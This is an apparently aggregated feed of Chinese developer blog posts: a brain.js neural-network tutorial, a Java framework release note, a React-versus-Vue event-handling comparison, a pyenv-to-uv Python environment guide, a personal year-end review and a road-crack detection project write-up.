四、项目初始化

在正式开始之前,我们需要创建并初始化一个 Node.js 项目。

4.1 创建项目目录

首先,创建一个新的项目目录并进入该目录:

mkdir brainjs-study-demo
cd brainjs-study-demo

4.2 初始化项目

使用 npm 初始化项目,生成 package.json 文件:

npm init -y

-y 参数会自动使用默认配置生成 package.json 文件。如果你想手动配置,可以去掉 -y 参数。

此时,项目目录中会生成一个 package.json 文件,记录了项目的基本信息和依赖项。

五、安装 brain.js

brain.js 是我们构建神经网络的核心库。

5.1 安装 brain.js

在项目目录中安装 brain.js:推荐 Node 版本为 v14.x

npm install brain.js

安装完成后, brain.js 会被添加到 package.jsondependencies 中。

5.2 安装 gpu.js(可选)

brain.js 依赖 gpu.js 来提升计算性能,但不会自动安装。如果你希望加速模型训练或者项目无法运行的情况,可以运行以下命令安装 gpu.js

npm install gpu.js

如果安装 gpu.js 失败,可能是因为缺少系统依赖。请根据系统环境安装必要的构建工具。

Windows 平台

  1. 安装 Python (建议使用 Python 3.x)。

  2. 安装 Visual Studio Build Tools,确保选择以下工作负载:

    • Node.js 开发工作负载
    • C++ 构建工具工作负载(如果需要)

六、编写第一个神经网络

6.1 创建 JavaScript 文件

在项目目录中创建一个新的 JavaScript 文件,例如 index.js

6.2 编写代码

打开 index.js 文件,添加以下代码:

// 引入 brain.js
const brain = require('brain.js');
// 创建神经网络
const net = new brain.NeuralNetwork();
// 定义训练数据(XOR 问题)
const trainingData = [
  { input: [0, 0], output: [0] },
  { input: [0, 1], output: [1] },
  { input: [1, 0], output: [1] },
  { input: [1, 1], output: [0] }
];
// 训练神经网络
net.train(trainingData);
// 测试神经网络
const output = net.run([1, 0]);  // 输入 [1, 0],期望输出接近 [1]
console.log(output);  // 输出类似 [0.9339389204978943]

6.3 参数解释

NeuralNetworkbrain.NeuralNetworkbrain.js 提供的核心类,用于创建前馈神经网络。默认情况下,网络结构为单隐藏层,节点数根据输入自动调整。

训练数据input 是输入特征,output 是期望结果。XOR 问题的输入和输出设计体现了二分类模型的目标。

七、训练数据的设计与优化

训练数据是神经网络学习的基础,其设计直接影响模型的表现。

7.1 数据格式

brain.js 中,训练数据由 inputoutput 组成:

  • input 是一个数组,表示输入特征。
  • output 是一个数组,表示期望输出。

例如:

{ input: [0, 1], output: [1] }

表示当输入 [0, 1] 时,期望输出为 [1]

7.2 数据归一化

为了提高训练效率,建议将输入数据归一化到 [0, 1] 范围。例如,若原始数据为 [0, 100],可以通过以下方式归一化:

const normalize = (value, max) => value / max;
const input = [normalize(50, 100), normalize(75, 100)];

八、保存和加载模型

为了避免每次运行代码都重新训练,可以将训练好的模型保存为 JSON 文件。

8.1 保存模型

在训练完成后,使用以下代码保存模型:

const fs = require('fs');
// 将模型保存为 JSON 文件
const model = net.toJSON();
fs.writeFileSync('model.json', JSON.stringify(model));

8.2 加载模型

const modelData = JSON.parse(fs.readFileSync('model.json'));
net.fromJSON(modelData);

九、扩展与优化

9.1 增加训练数据

扩展训练数据可以提高模型的准确性。例如:

const extendedTrainingData = [
  { input: [0, 0], output: [0] },
  { input: [0, 1], output: [1] },
  { input: [1, 0], output: [1] },
  { input: [1, 1], output: [0] },
  { input: [0.5, 0.5], output: [0] }
];
net.train(extendedTrainingData);

9.2 使用配置参数优化训练

brain.js 提供了多种训练参数:

  • iterations:神经网络训练的最大循环次数。
  • learningRate:控制参数更新的幅度,范围一般为 0.1-0.5。
  • errorThresh:允许的最大误差,默认值是 0.005(即 0.5% 的误差)。

例如:

net.train(trainingData, {
  iterations: 2000, // 训练迭代次数
  learningRate: 0.5, // 学习率
  errorThresh: 0.01 // 允许的最大误差
});

总结

通过本文,你学会了如何从零开始创建一个基于 brain.js 的神经网络,并了解了训练数据的设计与优化方法。这只是入门的第一步,未来的文章将深入探讨更多高级主题,例如 LSTM 网络、时间序列预测、模型调优等。

如果你在学习过程中有疑问,或者有自己的想法和建议,欢迎在评论区留言。大家一起讨论和交

by 一点一木 at January 20, 2025 05:51 AM

oschina news project

轻量 IO C框架 loveqq1.0.9 发布,多项优化+新增 rocketmq+redismq 启动器

本次更新:

  • 新增:loveqq-boot-starter-rocketmq,新增 rocketmq 启动器
  • 优化:loveqq-boot-starter-redisson,新增基于 redis 的简单 mq 消息队列
  • 优化:loveqq-boot-starter-tx,新增 @TransactionalEventListener 支持
  • 优化:loveqq-boot,@Value 注解支持绑定复杂数据类型
  • 优化:loveqq-boot,新增 @ConditionalOnExpression 条件注解支持
  • 修复:loveqq-mvc-netty,修复 sse 响应异常
  • 优化:loveqq-mvc-netty,支持 CompletionStage 返回值类型,优化 DispatcherHandler 请求处理逻辑
  • 优化:loveqq-cache-core,响应式缓存注解代理逻辑,更简单流畅
  • 新增:添加 loveqq-framework logo
  • 重构:loveqq-data,原 loqq-data-jdbc 模块拆分为 loveqq-data-korm,一个简易的基于接口代理的半orm框架;loveqq-data-codegen,一个基于 korm 的代码生成器
  • 优化:多项依赖升级

简单示例:

package com.kfyty.demo;

import com.kfyty.loveqq.framework.boot.K;
import com.kfyty.loveqq.framework.boot.validator.annotation.Condition;
import com.kfyty.loveqq.framework.core.autoconfig.annotation.Async;
import com.kfyty.loveqq.framework.core.autoconfig.annotation.BootApplication;
import com.kfyty.loveqq.framework.core.autoconfig.annotation.EventListener;
import com.kfyty.loveqq.framework.core.event.ContextRefreshedEvent;
import com.kfyty.loveqq.framework.data.cache.core.annotation.Cacheable;
import com.kfyty.loveqq.framework.web.core.annotation.GetMapping;
import com.kfyty.loveqq.framework.web.core.autoconfig.annotation.EnableWebMvc;
import lombok.Data;

@Async
@EnableWebMvc
@EventListener
@BootApplication
public class Main {

    public static void main(String[] args) {
        K.run(Main.class, args);
    }

    @Cacheable
    @GetMapping
    public User hello(@Valid User user) {
        return user;
    }

    @Async
    @EventListener
    public void onStarted(ContextRefreshedEvent event) {
        log.info("started succeed !");
    }

    @Data
    public static class User {
        @Condition(when = "type == 1", then = "photo != null", message = "type=1时,图片不能为空")
        private Integer type;

        private String photo;
    }
}

by 来源: 投稿 at January 20, 2025 05:49 AM

juejin frontend

深度解析 React 合成事件:机制、作用及与 Vue 事件机制的对比

在前端开发领域,React 与 Vue 作为两款备受瞩目的框架,凭借独特的设计理念和技术架构,为开发者打造出截然不同的开发体验。React 的合成事件是其核心亮点之一,Vue 则采用了别具一格的事件处理机制,二者的差异背后蕴藏着多方面的考量。

一、React 合成事件的底层剖析

(一)事件创建与封装细节

当 DOM 事件触发,React 会第一时间在内部事件池中检索对应的合成事件实例。若未找到,便依据原生事件类型,像clickchangekeydown等,构建全新的合成事件对象。这个对象不但完整囊括event.targetevent.type以及event.preventDefault()等原生事件关键信息,还增添了 React 特有的属性与方法,以此实现跨浏览器的事件处理逻辑统一。就拿event.which属性来说,不同浏览器对其返回值的定义存在细微差别,React 通过内部的标准化处理,巧妙地消除了这些差异,开发者无需再为浏览器兼容性问题大费周章。

(二)事件代理机制深度解析

React 摒弃在每个 DOM 元素上单独绑定事件监听器的传统做法,改为在 DOM 树的顶层,通常为document对象,设置一个统一的事件监听器。当事件触发后,借助 DOM 的事件冒泡机制,向上传播至顶层监听器。React 依据event.target属性,精准定位实际触发事件的目标元素,再利用预先构建的映射关系,快速找到对应的 React 组件实例,并调用相应的事件处理函数。在大型 React 应用中,若为每个元素单独绑定原生事件监听器,会导致内存资源的大量消耗,进而引发浏览器性能下降,而事件代理机制则成功化解了这一难题。以下代码展示了 React 事件代理的效果:

import React from'react';

const ParentComponent = () => {
    const handleClick = () => {
        console.log('Parent clicked');
    };

    return (
        <div onClick={handleClick}>
            <ChildComponent />
        </div>
    );
};

const ChildComponent = () => {
    return <button>Click me</button>;
};

export default ParentComponent;

在这段代码中,父组件设置了点击事件监听器,当子组件被点击时,事件会冒泡到父组件并被处理。

(三)事件派发与执行流程

一旦顶层事件监听器捕获到事件,React 会依据事件类型和目标元素,从内部维护的事件处理函数映射表中查找对应的处理函数。这个映射表在组件渲染过程中构建,详细记录了每个组件实例及其对应的事件处理函数。找到相应函数后,React 将合成事件对象作为参数传递并执行。若事件处理函数调用了状态更新相关操作如setState,React 会将状态更新请求放入队列,等待合适时机进行批量处理 。

React 使用了事件池的技术,在事件派发与执行过程中发挥了重要的性能优化作用。当事件触发时,React 会从事件池中获取一个事件对象来处理该事件,而不是每次都创建一个新的事件对象。事件处理完成后,该事件对象会被回收并放回事件池,以便下次复用。这种方式大大减少了内存分配和垃圾回收的开销,提高了性能。

React 合成事件支持事件冒泡和捕获,在事件派发时,事件会按照冒泡或捕获的顺序依次触发相关组件的事件处理函数。开发者可以在一个组件中注册多个事件处理函数,并且这些事件处理函数之间相互独立,避免了相互影响。在一个包含按钮和表单的组件中,按钮的点击事件处理函数和表单的提交事件处理函数可以同时存在且互不干扰,各自独立地执行相应的逻辑。

二、React 合成事件的重要作用

(一)无缝保障浏览器兼容性

在前端开发的漫长历程中,浏览器兼容性始终是一道难以逾越的障碍。不同浏览器对原生 DOM 事件的实现千差万别,给开发者带来诸多困扰。React 合成事件通过对原生事件的统一封装和标准化处理,为开发者提供了一个无差别的事件处理接口。无论在 Chrome、Firefox、Safari 还是 Edge 等主流浏览器中,React 应用的事件处理逻辑都能保持一致。例如在处理click事件时,React 合成事件确保event.target属性在不同浏览器中都能准确指向触发事件的目标元素,开发者无需再手动编写复杂的兼容性代码。

(二)显著优化性能

React 合成事件的事件代理机制,不仅极大地简化了事件处理逻辑,还带来了显著的性能提升。通过在顶层设置统一的事件监听器,React 大幅减少了事件监听器的数量,从而有效降低了内存消耗。在事件处理过程中,React 的批量更新策略进一步优化了性能表现。当在合成事件处理函数中多次调用状态更新操作时,React 不会立即更新状态并重新渲染组件,而是将这些状态更新请求放入队列,待事件处理函数执行完毕后,一次性进行批量更新。这种策略避免了频繁的状态更新和组件重新渲染,极大地提高了应用的性能。

(三)实现便捷的统一管理

 
在 React 应用中,所有合成事件都由 React 进行统一管理。开发者可以在组件的生命周期方法或函数组件的钩子函数中,便捷地添加、移除事件处理函数。React 提供了清晰、统一的事件处理函数命名规则和参数传递方式。在类组件中,通常将事件处理函数定义为实例方法,并通过this关键字进行调用;在函数组件中,则可直接定义函数并传递给相应的事件属性。这种统一的管理和处理方式,使得代码结构更加清晰,易于维护和扩展。

三、Vue 事件机制特点

(一)原生事件直接绑定

 
Vue 的事件绑定机制极为直观,在模板中使用指令,如@click,就能将原生事件直接绑定到组件的方法上。当事件触发时,会直接调用对应的 Vue 实例方法。例如:

<template>
  <button @click="handleClick">Click me</button>
</template>

<script>
export default {
  methods: {
    handleClick() {
      console.log('Button clicked');
    }
  }
};
</script>

这种简单直接的方式,让开发者能够清晰地看到事件与处理函数的对应关系,降低了开发的难度和出错的概率。

(二)响应式系统驱动更新

Vue 的响应式系统堪称其核心竞争力之一。当数据发生变化时,Vue 会自动检测并更新相关的 DOM。在事件处理过程中,若事件处理函数修改了响应式数据,Vue 通过强大的依赖收集机制,能够精准定位到受影响的 DOM 部分,并进行高效更新。与 React 不同,Vue 无需像 React 合成事件那样统一管理事件来实现批量更新,其响应式系统本身就能出色地处理数据变化与 DOM 更新的关系 。

(三)虚拟 DOM 与 Diff 算法的独特应用

Vue 的虚拟 DOM 和 Diff 算法虽然与 React 有相似之处,但在具体实现和应用场景上存在差异。Vue 的虚拟 DOM 与响应式系统紧密结合,当响应式数据发生变化时,会自动触发虚拟 DOM 的更新。其 Diff 算法在处理模板驱动的更新时,能够依据模板的结构和数据绑定关系,高效地定位需要更新的节点。在一个包含复杂表单和交互的大型 Vue 应用中,用户对表单的操作触发数据变化,Vue 的虚拟 DOM 和 Diff 算法能够精准地更新相关 DOM 部分,而不是进行不必要的全量更新,从而减少因大量事件导致的性能问题。

(四)异步更新队列nextTick的灵活运用

 
Vue 的nextTick机制不仅用于处理数据更新后的 DOM 更新,还用于确保在数据更新后获取到最新的 DOM 状态。在一个事件处理函数修改了数据,并且后续需要获取更新后的 DOM 元素的尺寸或位置等信息时,nextTick可以确保在 DOM 更新完成后再执行相关操作。这种机制使得 Vue 在处理复杂的交互场景,如动画效果、根据 DOM 状态变化进行的计算等方面,能够更好地控制更新的顺序和时机,减少因频繁更新导致的性能问题。

(五)事件声明与底层优化关联

Vue 通过@click@input等指令在模板中显式声明事件,这种方式极大地提升了代码的可读性和维护性。在一个大型的管理后台应用中,对于菜单点击事件、表单提交事件等,通过这种明确的声明方式,开发团队成员可以快速理解事件的流向。基于这种显式的事件声明,Vue 在底层能够进行针对性优化。在解析模板时,Vue 可以提前确定哪些元素有事件绑定,从而在虚拟 DOM 的更新过程中,更精准地关注这些可能受到事件影响的部分。当一个带有@click事件的按钮所在的组件更新时,Vue 的虚拟 DOM 和 Diff 算法可以优先考虑这个按钮及其相关的 DOM 结构变化,因为它知道这个按钮可能会触发事件,进而导致数据和 DOM 的更新。在内存管理方面,由于事件绑定是明确声明的,Vue 可以更好地管理与事件相关的内存。在组件销毁时,Vue 能够准确地移除对应的事件监听器,避免内存泄漏。

四、React 拥有合成事件而 Vue 没有的原因探讨

(一)设计理念分歧

React 秉持 “一切皆为组件” 的设计理念,着重强调组件的独立性和可复用性。合成事件作为 React 组件体系的有机组成部分,统一了事件处理方式,确保不同组件间的事件处理逻辑保持一致。同时,通过事件代理和批量更新机制,React 能够在保证性能的前提下,实现高效的事件处理和状态管理。

Vue 则更侧重于模板语法的简洁直观,强调与 HTML 的深度融合。Vue 的事件绑定语法在模板中直接体现,与原生 HTML 事件的写法极为相似,极大地降低了学习成本,让开发者能够迅速上手。Vue 的设计理念倾向于渐进式增强,开发者可以根据项目的实际需求,逐步引入 Vue 的特性,而无需像 React 那样,从一开始就遵循一套较为严格的组件化和事件处理模式。随着 Vue2 和 Vue3 的发展,Vue 在大规模项目开发中也展现出强大的实力,其引入的 Composition API 等特性,进一步增强了代码的可维护性和复用性,已不再局限于中小规模项目。

(二)性能与复杂度权衡

React 应用在规模扩大时,组件树可能变得极为复杂,层级深且嵌套繁多。合成事件的事件代理机制在这种复杂场景下优势尽显,通过在顶层统一处理事件,减少了事件监听器的数量,有效降低了内存开销。然而,这种机制也增加了一定的实现复杂度,需要维护事件池、映射表以及事务机制等。

Vue 的模板语法使得事件声明一目了然,在性能优化上有着独特优势。由于事件绑定在模板中明确写出,Vue 在编译阶段就能对事件相关的代码进行优化。在处理大量事件时,Vue 可以根据模板中事件的声明,精准地分配资源,避免不必要的性能损耗。Vue 还能针对事件处理函数的调用进行优化,减少函数调用的开销。在一个包含众多按钮点击事件的 Vue 应用中,Vue 可以根据模板中按钮的@click声明,对这些按钮的事件处理进行统一的资源分配和优化,确保在处理大量点击事件时,性能依然稳定。相比 React 的合成事件机制,Vue 基于模板语法的事件处理实现起来更加简单直接,不需要复杂的事件代理和事务管理机制,降低了开发和维护的复杂度。

(三)生态与社区影响

 
React 的生态系统中,汇聚了大量基于组件化开发的库和工具。合成事件作为 React 核心机制的重要部分,为这些库和工具提供了统一的事件处理基础。许多第三方库能够基于合成事件进行更高级的事件处理和交互实现,从而形成了一个繁荣的有机生态体系。

Vue 的社区一直强调简单易用和快速开发,其事件绑定机制与这种社区文化高度契合。Vue 的生态更多地关注如何通过简洁的语法和插件机制来扩展功能,而不是像 React 那样,依赖复杂的底层机制来实现统一的事件处理 。

五、总结

React 的合成事件是其基于自身设计理念和性能优化目标的独特创造,而 Vue 未采用合成事件,是由其设计理念、性能考量以及生态文化等多方面因素共同决定的。随着 Vue 的不断发展,它与 React 在应用场景上的界限逐渐模糊,二者都已成为能够支撑各种规模项目开发的优秀框架。开发者在选择使用 React 或 Vue 时,需要深入理解它们的事件机制和设计差异,根据项目的具体需求、规模以及团队技术栈等因素,做出最为合适的选择。无论是 React 的合成事件,还是 Vue 的原生事件绑定及相关优化机制,都为开发者提供了强大的工具,助力构建出卓越的前端应用。

by 银之夏雪 at January 20, 2025 05:41 AM

juejin backend

Python环境演变之路:从Pyvenv到uv

Version 1: Pyvenv

安装pyenv

github.com/pyenv/pyenv…

pyenv用于多版本Python管理器

可能会报错,缺少lmza,安装xz模块,brew install xz

brew install pyenv

配置环境

echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zprofile
echo 'export PATH="$PYENV_ROOT/shims:$PATH"' >> ~/.zprofile
echo 'eval "$(pyenv init --path)"' >> ~/.zprofile
echo 'eval "$(pyenv init -)"' >> ~/.zprofile

安装python3.13.1,并设为全局

pyenv install --list
pyenv install 3.13.1
pyenv global 3.13.1

安装pyenv-virtualenv

brew install pyenv-virtualenv

配置环境

echo 'eval "$(pyenv virtualenv-init -)"' >> ~/.zprofile

创建虚拟环境

创建后会在~/.pyenv/versions下创建一个文件夹

pyenv virtualenv python版本 虚拟环境名称
pyenv virtualenv 3.13.1 virtual-env-3.13.1

激活&失效环境

pyenv activate 虚拟环境名称
pyenv activate virtual-env-3.13.1

pyenv deactivate

在当前目录或者父目录下执行pyenv local,就可以进入目录自动切换到Python环境,但是在目录下再去切换环境,可能会失效,解决办法,清除本地配置。

pyenv local用处:对于某些项目可以通过pyenv local来配置好,不用每次都需要重新制定环境。

pyenv local --unset

pyenv将所有的环境保存在 ~/.pyvenv/versions,类似于全局环境管理,环境不跟随项目。如果有很多项目需要维护,比较麻烦,最好结合pyenv local一起使用。

Version 2: Pyvenv to UV

参考文档:

UV安装

之前使用pyvenv,现在想切换到uv,因为uv对虚拟环境管理更为友好。

brew install uv

uv官方文档

常用命令

# 查看python版本
uv python list
# 安装指定python版本
uv python install python版本号

# 根据uv初始化项目
uv init 项目名

# 使用uv创建虚拟环境,会生成.venv文件夹,类似于python3 -m venv .venv
uv venv
# 基于project.toml同步项目环境
uv sync

# 项目添加包名,会添加到project.toml
uv add 包名
# 项目删除包名,会从project.toml中删除
uv remove 包名
# 仅在开发时安装包名
uv add 包名 --dev

direnv结合uv

基于uv实现的环境管理后,环境管理创建,但是每次都需要source .venv/bin/activate才能激活环境。能不能实现进入项目目录,自动激活环境?在看了一些哔哩哔哩课程以及搜索后,看到了direnv这个库,基于direnv可以实现进入环境自动激活环境,退出目录环境失效。

direnv安装

brew install direnv
echo 'eval "$(direnv hook zsh)"' >> ~/.zshrc

direnv配置 layout_uv函数

layout_uv() {
    if [[ -d ".venv" ]]; then
        VIRTUAL_ENV="$(pwd)/.venv"
    fi

    if [[ -f ".python-version" ]]; then
        PYTHON_VERSION=$(cat .python-version)
        echo $PYTHON_VERSION
    fi

    if [[ -z $VIRTUAL_ENV || ! -d $VIRTUAL_ENV ]]; then
        log_status "No virtual environment exists. Executing `uv venv` to create one."
        uv venv
        VIRTUAL_ENV="$(pwd)/.venv"
    fi

  

    PATH_add "$VIRTUAL_ENV/bin"
    export UV_ACTIVE=1  # or VENV_ACTIVE=1
    export VIRTUAL_ENV

    # Activate the virtual environment
    . $VIRTUAL_ENV/bin/activate
}

.zshrc配置venv()函数

venv() {
    local venv_name
    local dir_name=$(basename "$PWD")

    # If there are no arguments or the last argument starts with a dash, use dir_name
    if [ $# -eq 0 ] || [[ "${!#}" == -* ]]; then
         ="$dir_name"
    else
        venv_name="${!#}"
        set -- "${@:1:$#-1}"
    fi

    # Check if .envrc already exists
    if [ -f .envrc ]; then
        echo "Error: .envrc already exists" >&2
        return 1
    fi

    # Create venv using uv with all passed arguments
    if ! uv venv --seed --prompt "$@" "$venv_name"; then
        echo "Error: Failed to create venv" >&2
        return 1
    fi

    # Create .envrc
    echo "layout uv" > .envrc

    # Append to ~/.projects
    echo "${venv_name} = ${PWD}" >> ~/.projects

    # Allow direnv to immediately activate the virtual environment
    direnv allow
}

shell显示默认环境

配置完后,根据which python命令,发现环境确实被激活了,但是并没有显示当前环境,需要设置终端现实环境。

具体操作如下:

PS1设置

# Add direnv-activated venv to prompt
show_virtual_env() {
  if [[ -n "$VIRTUAL_ENV_PROMPT" && -n "$DIRENV_DIR" ]]; then
    echo "$(basename $VIRTUAL_ENV_PROMPT)"
  fi
}
PS1='$(show_virtual_env)'$PS1

by JunNotJane at January 20, 2025 05:38 AM

juejin career

2024回顾平淡又不平凡的一年

摘要:接2023年的总结,想要2024不平凡。回顾了2024年,应该是最近几年最波折的一年了,不知道互联网的行情还会不会持续下跌,一年就像过山车一样,好像啥也没做,但也总结一下,激励2025的自己。

工作

大环境不好,看着以前的战友越来越少,内心波动,却又无可奈何,只希望大家越来越好。

吃饭的Java技术

这一年来没啥突出的技术总结,就是把各种工具的实现细节,自己理解更加透彻了,写了一些简单的博客记录;总共写了30来篇博客,对于技术架构方面的比较少,2025还是侧重一下技术方向,架构和细节实现都需要写一写。

服务器技术

感觉收获还是可以,主要分为下面几个方面。

  • k8s:除了自定义的CRD没有搞,其他的都差不多了。
  • iptables:搞了这个好几年了,2024终于吃透了,感觉可以随便乱搞了。
  • PVE:服务器虚拟化技术,也还行吧。
  • 组网:资料很多,感觉可以随意组网,在应用层突破限制。

生活

  • 有了一个女儿,从此3口之家。
  • 没有出去旅游太遗憾了,可能以前的生活太辛苦了,到了现在才缓过来。

2025展望

  • 全家身体健康
  • 出去旅游一次
  • 互联网大环境好一些
  • 持续精进技术
  • 家里的果园大卖(3,2,1上链接)

www.xiaohongshu.com/goods-detai…

2025祝福

祝愿大家越来越好。

by 昵称为空C at January 20, 2025 05:27 AM

hackernews

juejin backend

深度学习乐园keras实现道路裂缝检测

本项目来源于深度学习乐园。如果你想要完整项目资料包,点击这里下载: pan.baidu.com/s/1-vA1Gce4…

项目源码获取方式见文章末尾! 600多个深度学习项目资料,快来加入社群一起学习吧。

《------往期经典推荐------》

项目名称 1.【基于CNN-RNN的影像报告生成】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实现mnist手写数字识别】 5.【fasterRCNN模型实现飞机类目标检测】 6.【CNN-LSTM住宅用电量预测】 7.【VGG16模型实现新冠肺炎图片多分类】 8.【AlexNet模型实现鸟类识别】 9.【DIN模型实现推荐算法】 10.【FiBiNET模型实现推荐算法】 11.【钢板表面缺陷检测基于HRNET模型】 …

1. 项目简介

本项目旨在解决基础设施检测中结构裂缝识别的挑战,使用深度学习技术实现自动化、高效的检测方案。随着城市化的加速推进,桥梁、隧道、建筑物等基础设施的维护和监测显得尤为重要,手动检测不仅耗费人力且易受主观因素影响。为应对这一问题,本项目设计并实现了基于卷积神经网络(CNN)的深度学习模型,能够在图像数据中自动检测并定位结构裂缝。该模型通过使用图像分类和分割技术,提取特征并进行精确预测,提升了裂缝识别的准确性和稳定性。具体实现中,数据预处理包括图像增强、标准化,以提高模型泛化能力,模型训练过程引入了多层卷积网络和池化层以优化特征提取,同时采用损失函数优化训练效果。该模型可广泛应用于工程领域的自动化监测系统,极大减少人工检测的工作量,提升监测效率和准确率,为基础设施维护提供有力技术支持。

在这里插入图片描述

2.技术创新点摘要

  1. 结合多种图像处理技术的混合方法:该代码将OpenCV和Python图像库(PIL)相结合进行图像预处理。此双库方法提供了更大的灵活性,能够处理不同的图像格式并应用多种处理技术。

  2. 高级阈值分割技术:代码实现了多种阈值处理方法,包括二值化、反向二值化、截断和“零阈值”等,以增强图像对比度。这确保了在不同裂缝纹理和光照条件下都能进行稳健的检测。每种方法都进行了可视化,帮助选择最适合特定场景的预处理技术。

  3. 灵活的图像预处理流程:通过使用PIL将图像转换为灰度图并利用OpenCV进行阈值分割,代码整合了多样的预处理策略。这为训练深度学习模型或数据扩充做好了准备,有助于后续的分割和特征提取任务。

  4. 对比结果的可视化分析:通过Matplotlib实现原始图像及其不同处理版本的详细对比展示,这一可视化步骤为开发人员或研究人员提供了一种直观的方法,以确定最适合的预处理技术。

  5. 模块化设计:代码设计上具有明显的模块化,将图像读取、转换、阈值处理和可视化步骤分离开来。这种模块化设计提高了代码的可读性和可扩展性,方便其集成到更大的机器学习流程中。

  6. 裂缝检测的应用潜力:尽管该代码当前主要聚焦于预处理,但其结构为与更复杂的深度学习模型集成提供了良好基础。通过提供更清晰的输入数据,这些预处理步骤有助于提高模型的准确性。

3. 数据集与预处理

在裂缝检测任务中,所使用的数据集主要来源于结构检测相关的开源图像库或自主采集的图像集。这些数据集通常包括多种类型的裂缝图像,涵盖不同材质的表面(如混凝土、沥青等),具有不同的光照、纹理和裂缝形态。这些特征使数据集具备多样性,能够提高模型在复杂实际环境中的泛化能力。

数据预处理流程

  1. 图像读取与灰度转换:图像数据在进入模型前通常以RGB格式读取,但为了简化计算和减少复杂性,预处理流程中将其转换为灰度图像。这种转换能够去除颜色信息的干扰,聚焦于图像的形状和纹理特征,有助于更准确地检测裂缝。
  2. 归一化:为了标准化输入数据,图像像素值通常被归一化至[0, 1]的范围。这样可以加速模型的收敛,防止因特征值范围过大而导致的梯度消失或爆炸问题。
  3. 数据增强:数据增强技术是为了提升模型的泛化能力而进行的必要步骤。包括图像旋转、翻转、裁剪、亮度调整等多种操作。这些方法使模型在训练时能适应各种视角和光照条件,模拟真实使用场景中的变化,从而提高模型的鲁棒性。
  4. 阈值分割:在预处理流程中,常使用不同的阈值处理方法(如二值化和反向二值化)来增强图像的对比度,使裂缝边缘更为清晰。这有助于提高模型在检测阶段的准确率,尤其是在裂缝不明显或背景复杂的情况下。

特征工程

该处理步骤包括提取图像的几何和纹理特征,如边缘检测和轮廓分析等。这些特征提取方法为后续的模型输入提供了更有价值的数据,使模型能更有效地学习裂缝的形状、长度、宽度等结构信息。此外,通过聚合多种图像预处理和增强手段,数据集的代表性得到提升,从而帮助模型在训练过程中获得更好的性能。

4. 模型架构

1) 模型结构的逻辑

从代码中可以看出,这个模型主要涉及图像预处理和数据构建,旨在为基于深度学习的裂缝检测任务准备输入数据。数据加载和预处理包括:

  • 图像读取与转换:使用OpenCV和PIL库读取图像并将其转换为灰度格式。
  • 图像阈值处理:应用了多种阈值方法(如二值化和反向二值化)以增强图像对比度。这些处理方法有助于突出裂缝的轮廓,使模型能够更清晰地识别裂缝区域。
  • 数据组织:通过create_data函数将图像数据整理为正样本和负样本,分别表示包含裂缝和不包含裂缝的图像。生成的预处理数据被组织为输入矩阵,形状为(227, 227, 1),用于后续的模型训练。

2) 模型的整体训练流程和评估指标

训练流程

  • 数据准备:通过调用create_data函数,代码为训练和验证集分别准备了正负样本图像数据,并将它们存储在数组中。每个样本都被调整为227x227的大小,并转换为适合深度学习输入的格式。
  • 数据标注:正样本标记为1,负样本标记为0,从而形成输入数据和对应的标签。

训练模型的流程大致如下:

  1. 数据加载:预处理后的图像数据加载至模型中。
  2. 模型训练:模型可能基于预处理后的输入数据进行训练(此代码未显示具体的深度学习框架和网络结构,但预处理流程清晰且易于集成)。
  3. 验证与调参:在训练完成后,使用准备好的验证集评估模型的表现,通过指标如准确率损失来监控性能。

评估指标: 常见的评估指标包括:

  • 准确率 (Accuracy) :衡量模型正确识别裂缝和无裂缝图像的比例。

  • 精确率和召回率:用于评估模型在实际检测任务中的表现,尤其是对于检测裂缝的正确识别和漏检情况。

  • F1-Score:综合精确率和召回率的平衡,用于评估模型的整体性能。

5. 核心代码详细讲解

1. 数据预处理:process_image 函数

暂时无法在飞书文档外展示此内容

  • cv2.threshold(image, 127, 255, cv2.THRESH_BINARY_INV) :将输入图像进行二值化处理,返回二值化后的图像和阈值。THRESH_BINARY_INV 将高于127的像素值变为0,低于127的像素值变为255,突出裂缝区域。
  • return bi_inv, image:返回处理后的二值化图像和原始灰度图像,为后续数据集构建做准备。

2. 数据集创建:create_data 函数

暂时无法在飞书文档外展示此内容

  • rng = ["%05d" % x for x in range(frm, to + 1)] :创建一系列带有零填充的文件名,用于读取图像文件。
  • dir_ = tdir_ + type_ + '/' + i + '.jpg' :构建每张图像的完整路径。
  • cv2.imread(dir_, 0) :读取图像并将其转换为灰度格式(单通道)。
  • process_image(image) :调用process_image函数对图像进行预处理。
  • colored_data.append(colored_img) bi_inv_data.append(bi_inv) :将预处理后的原始和二值化图像分别添加到列表中。
  • print() 语句:显示处理状态和图像范围,便于跟踪数据预处理进度。

3. 预测辅助函数:predict_image_util 函数

暂时无法在飞书文档外展示此内容

  • img_test = (final_pred_inv[0].reshape((1, 227, 227, 1))) :将输入图像数据调整为模型接受的形状 (batch_size, height, width, channels)
  • model.predict() :使用预训练模型预测输入图像的标签。
  • if (raw_predicted_label < 0.8): predicted_label = 0:将预测结果与阈值0.8进行比较,如果小于0.8,则判定为“无裂缝”。
  • predicted_label_str:根据预测结果选择输出的字符串标签(“Crack”或“No Crack”)。
  • print() 语句:输出预测的数值结果和对应的标签。

4. 图像预测入口:predict_image2 函数

暂时无法在飞书文档外展示此内容

  • create_data() :调用数据生成函数来读取并预处理图像。

  • plt.imshow() :显示处理后的图像以便可视化检查。

  • reshape() :调整图像数组为模型输入格式。

  • predict_image_util() :调用辅助函数进行图像预测并输出结果。

6. 模型优缺点评价

模型优点

  1. 多样化的预处理技术:该模型使用了多种图像预处理技术,如灰度转换和不同类型的阈值分割,使得输入数据更加适合裂缝检测任务,提高了模型在不同图像条件下的鲁棒性。
  2. 可扩展性强:代码模块化设计清晰,预处理和数据生成的函数便于集成到不同的深度学习框架中,适用于未来更复杂的模型结构。
  3. 易于调试和可视化:通过Matplotlib进行图像处理结果的可视化,开发人员能够直观地观察预处理效果,有助于调试和优化预处理流程。

模型缺点

  1. 缺乏复杂模型结构:当前代码并未提供完整的深度学习模型架构,而是着重于数据预处理和预测步骤,导致模型在准确性和泛化能力上受到限制。
  2. 简单的阈值判断:预测结果使用固定阈值判断是否存在裂缝,缺乏更为灵活的分类策略,可能影响在边界样本上的性能。
  3. 数据增强方法有限:代码中主要依赖简单的预处理技术,没有涉及复杂的数据增强手段,如随机旋转、缩放、噪声添加等,可能导致模型在数据多样性上的训练不足。

可能的模型改进方向

